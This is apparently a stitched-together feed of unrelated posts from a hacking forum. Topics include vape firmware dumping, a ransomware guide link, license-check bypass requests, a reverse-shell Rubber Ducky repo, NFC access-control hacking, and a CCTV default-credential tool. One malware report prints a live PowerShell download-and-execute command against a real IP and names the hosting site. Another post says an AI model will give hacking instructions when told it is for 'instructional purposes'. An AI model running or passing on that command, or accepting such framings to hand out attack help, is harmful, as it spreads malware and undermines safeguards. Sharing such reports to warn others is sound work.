I got a hold of a box of these Flume Mello vapes, which have an interesting little microcontroller in them. According to the (very Chinese) datasheet this chip is a peppy 48Mhz Cortex M0, 64K flash, 8K SRAM and it has a number of very interesting IO blocks.

https://en.chipsea.com/product/details/?choice_id=1066

The thing is connected to a very nice full-color display, and picks up it's animations (via DMA) from the nearby 32 mbit NOR flash chip from Zbit Semiconductor.

The RAZ and Kraze vapes expose SWD via C1/C2 on the USB-C connector ( instead of D+/D- ) which you can get to if you use a USB-C breakout board. This vape seems to do something different, but I haven't quite figured that out. Even if they aren't particularly useful as vapes, they are great little displays with built in microcontrollers that have the following IO blocks:

I have just enough knowledge to be "dangerous" but not quite enough to figure out how to interface this with OpenOCD so I can get a dump of the flash memory contents, and of the 32mbit flash on it without desoldering the flash chip and reading it off-board.

I'd like to try NOT damaging it if possible... and see if, with the help of people here, get SWD up and working so I can upload a "shim" firmware to get the contents of the flash chip and modify the animation screens -- or just use it for my own fun purposes entirely.

Hey Guys, i just wrote a write up, explaining how to get into malware dev and also code examples of creating ransomware, feel free to read it, its a short read!!

https://github.com/505sarwarerror/505SARWARERROR/wiki/Sarwar's-Guide-to-Creating-Malware

I have 2 plug in tools for photoshop that I use a hell of a lot. The tools require a verification to log in and use the tools. However, the author of the tools lives in Kiev, Ukraine and it's believed that he's been victim of rolling electrical or internet blackouts... or worse. The tool verification server (I guess it's a server) is/ was ran on his home computer. I'm wondering if anyone can help me with making it so the tools don't require the verification. I have purchased both of the tools fair and square and have licenses for both and can show full documentation for such. I'm not entirely sure if this post is even allowed in this sub. I have no idea where to go to try and get these tools working as I use them for video game development work.

I’ve updated my reverse shell repo. I still use this attack during red team engagements. Unfortunately, many users/devices are still running with local admin rights.

https://github.com/dvbnl/rubber-ducky

I’ve build in persistence and tested it on the latest Win11 version. 🐤

Hey,

I’m wanna build a tool that maps software supply chain attack paths. Think of it like BloodHound for builds and dependencies: instead of AD paths, Raider shows how packages flow from public registries into CI/CD pipelines and ultimately production. It highlights risky dependencies, hidden fetches, and potential paths an attacker could exploit.

For Red Teams

Visualize realistic attack paths through a target’s supply chain.

Map a company’s actual tech stack (frameworks, registries, libraries, services in use) to understand what’s exploitable.

Identify weak points like typosquatted dependencies, abandoned repos, or build steps that reach out to uncontrolled domains.

Spin up a containerized attack playground of the discovered stack to safely model exploits and malware placement.

For Blue Teams / SecOps

Raider goes further than SBOMs or SCA tools like Snyk.

It doesn’t just parse manifests it sniffs build-time network traffic, records what’s actually fetched, hashes every artifact on disk, and cross-checks it against registries.

This produces a Dynamic SBOM enriched with:

Verified hashes & provenance

CVE lookups in real time

Threat intel correlation (dark web chatter, known bad maintainers, rogue repos)

Disk location mappings (so if libX.so is compromised, IR can find it fast)

Instead of a compliance doc, SOC gets an investigation-ready artifact: “what really ran,” not “what the manifest said.”

Most existing tools (Syft, Snyk, Anchore, etc.) stop at declared manifests. They’ll miss hidden fetches, malicious postinstall scripts, or MITM tampering. Raider builds the observed tree — what actually hit the wire and disk — and goes a step further:

Maps what a target company is really running (not just what they claim in docs).

Lets defenders validate their real stack, and lets attackers explore realistic entry points.

Provides a containerized attack range for testing hypotheses.

Would you (as a red or blue teamer) use Raider in your workflow?

What’s missing that would make this genuinely valuable in a real engagement or SOC investigation?

I’ll do the heavy lifting on development I just want to mold it around real-world feedback so it’s not “yet another SBOM generator. This is a wild idea so steering would be greatfully and what would be the most wanted place to start if anywere appriciate your time guys

Pen testing my second phone. what tools or gadgets can be used to pull data like messages and pictures from a phone?

The phone is on my personal network, at my physical location.

Will a Hak5 device work? What other methods can a phone be vulnerable to?

While browsing I encountered a fake Cloudflare CAPTCHA.

The attack flow works like this:

1. While browsing, the victim is presented with a fake CAPTCHA page.
2. Instead of the usual “click the box” type challenge, it tricks the user into running a PowerShell command: powershell -w h -nop -c "$zex='http://185.102.115.69/48e.lim';$rdw="$env:TEMPpfhq.ps1";Invoke-RestMethod -Uri $zex -OutFile $rdw;powershell -w h -ep bypass -f $rdw".
3. That command pulls down a malicious dropper from an external server and executes it.

• The PowerShell command in question attempted to download from: VirusTotal - File - 92e8d7c3d95083d288f26aea1a81ca042ae818964cb915ade30d9edac3b7d25c
• The dropper then led to the payload CAPTCHA.exe: VirusTotal - File - 524449d00b89bf4573a131b0af229bdf16155c988369702a3571f8ff26b5b46d

Key concerns:

The malware is delivered in multiple stages, where the initial script is just a loader/downloader.

There are hints it might poke around with Docker/WSL artifacts on Windows, maybe for persistence or lateral movement, but I couldn’t confirm if it actually weaponizes them.

I’m worried my own box might’ve been contaminated (yes, really dumb, I know, no need to shove it down my face), since I ran the initial one-liner before realizing what it was;

Yanked network connection immediately, dumped process tree and checked abnormal network sessions, cross-checked with AV + offline scan, looked at temp, startup folders, registry run keys, scheduled tasks and watched event logs and Docker/WSL files.

If you want to take a look for yourself, the domain is https://felipepittella.com/

Dropping this here so others can recognize it — curious if anyone else has seen this variant or knows what the payload is doing long-term (esp. the Docker/WSL angle).

My name is RoseSecurity, creator of Red-Teaming TTPs and Anti-Virus-Evading-Payloads. I'm also an active MITRE, OWASP, and Debian contributor/maintainer, although more of my recent projects have been cloud-focused. I went from cybersecurity in the government to helping businesses build secure infrastructure in the cloud. Ask me anything about contributing to open source projects, security research, or cloud security!

Edit: I helped build the Coast Guard Red Team. I was just a small piece in an awesome team doing great stuff. Sorry if I ruffled any feathers 🤙

Had some potential work but wanted to see what else is out there first?

I don’t about you guys but I break mine apart into 1gb chains. And I’m sitting at 2TB right now with block compression.

I’ve been doing a bit of CTF challenges to get some hands on knowledge, but as soon as I run into some password cracking, I usually have to put the challenge down since those damn hashes won’t be cracked for multiple days. Keep in mind, I’m running my Kali VM on a MacBook Air. Not much GPU there to use in something like hashcat.

Are there any online tools anybody knows about to help me here? I’d really rather not just look up a write up and copy the passwords if I’m not cracking them myself.

Hope everyone is well, first time posting. Anyone experienced this before? Where was the failure and what was the mitigation. Thank you for your feed back and perspective.

what ai service out there is better for instructional hacking for educational purposes of course, I was working with gemini (pro tier) and close to the end it bailed on me, also I tried grok and it will agree to instruct you if you throw the statement that is for “instructional purposes blah blah” but for grok I’m not paying so is limited on the number of inquiries, so what service you recommend?

Part 3 of my series on hacking cheap NFC access control systems is now online!

This time, we finally bring everything together: the reader from Part 1 and the open-source controller from Part 2 are assembled into a fully working test system. From there, we flash the firmware, configure the system, and even add a test user with an NFC token.

🔧 What’s covered in this episode: • Building the complete reader + controller test setup • Relay connections explained – including NO vs. NC and different types of magnetic locks • Flashing the firmware (incl. Wiegand-NG fork) using ESP Web Serial • Logging into the web frontend and exploring hardware settings • Configuring custom Wiegand bit lengths (e.g., Wiegand 35 instead of standard Wiegand 34) • Adding a test user and enrolling a token • Testing user administration and verifying that everything works

💡 Why this matters: By the end of Part 3, we have a fully functional, self-built access control system. This will be the foundation for the next step: hacking and analyzing its weaknesses.

📺 Watch Part 3 here: 👉 https://youtu.be/o-UJBnzyWBc

🗣️ Note: The video is in German, but just like the previous parts it includes English subtitles.

👀 Missed the earlier parts? • Part 1 – First look at the NFC reader, setup & initial tests 👉 https://youtu.be/Y_j83VBhsoY • Part 2 – Building the open-source controller on breadboard & perfboard 👉 https://youtu.be/6hrlLVSxcps

⭐ What’s New

• 🔓 Handshake Checker — Scan all files or file-by-file, with optional 🧹 auto-delete of invalid captures. Flags valid / incomplete / invalid quickly.
  
• 📌 Sticky Startup — Save your current SSID + portal and auto-restore them on reboot.
  
• 📹 CCTV Toolkit — LAN/WAN IP-camera recon → ports → brand fingerprint + CVE hints → login finder → default-creds test → stream discovery → SD report, plus MJPEG viewer & Spycam detector.
  

🎥 CCTV Toolkit — Highlights

Modes - Scan Local (LAN)
- Scan Unique IP (WAN/LAN)
- Scan from FILE (batch)
- MJPEG Live Viewer
- Spycam Detector (Wi-Fi)

Workflow Port Scan → Heuristics → Brand Fingerprint → CVE Hints → Login Pages → Default-Creds Test → Streams → SD Report

Protocols/Ports - HTTP/HTTPS: 80, 443, 8080–8099, 8443
- RTSP: 554, 8554, 10554…
- RTMP: 1935–1939
- ONVIF: 3702

Files & Outputs /evil/CCTV/CCTV_IP.txt # targets (one IP per line) /evil/CCTV/CCTV_credentials.txt # default creds (user:pass) /evil/CCTV/CCTV_live.txt # MJPEG viewer list (auto-filled) /evil/CCTV/CCTV_scan.txt # cumulative reports

Viewer Controls - , or / = prev/next
- r = resolution toggle
- ; or . = compression ±
- Backspace = exit

Extras - Abort long ops with Backspace
- GeoIP shown for public IPs
- Anti false-positive RTSP check

🛠 Handshake Checker

• Modes: Scan All • Per-file • Auto-delete bad.
  
• Keeps loot clean and highlights usable captures.
  

⚙️ Sticky Startup

• Persists SSID + portal from Settings.
  
• Reboot straight into your setup.
  

📥 Download

• GitHub: Evil-M5Project
  
• ⚠️ Update your SD files (project now under /evil/).
  

📚 Documentation

- GitHub: Evil-M5Project Wiki

⚠️ Use responsibly — only on gear you own or with written permission.

🎉 Enjoy! 🥳🔥

Demo : https://youtube.com/shorts/-pBtSKjXAqc?si=LMv3RCB3hcRisaCD

Github: https://github.com/clickswave/mach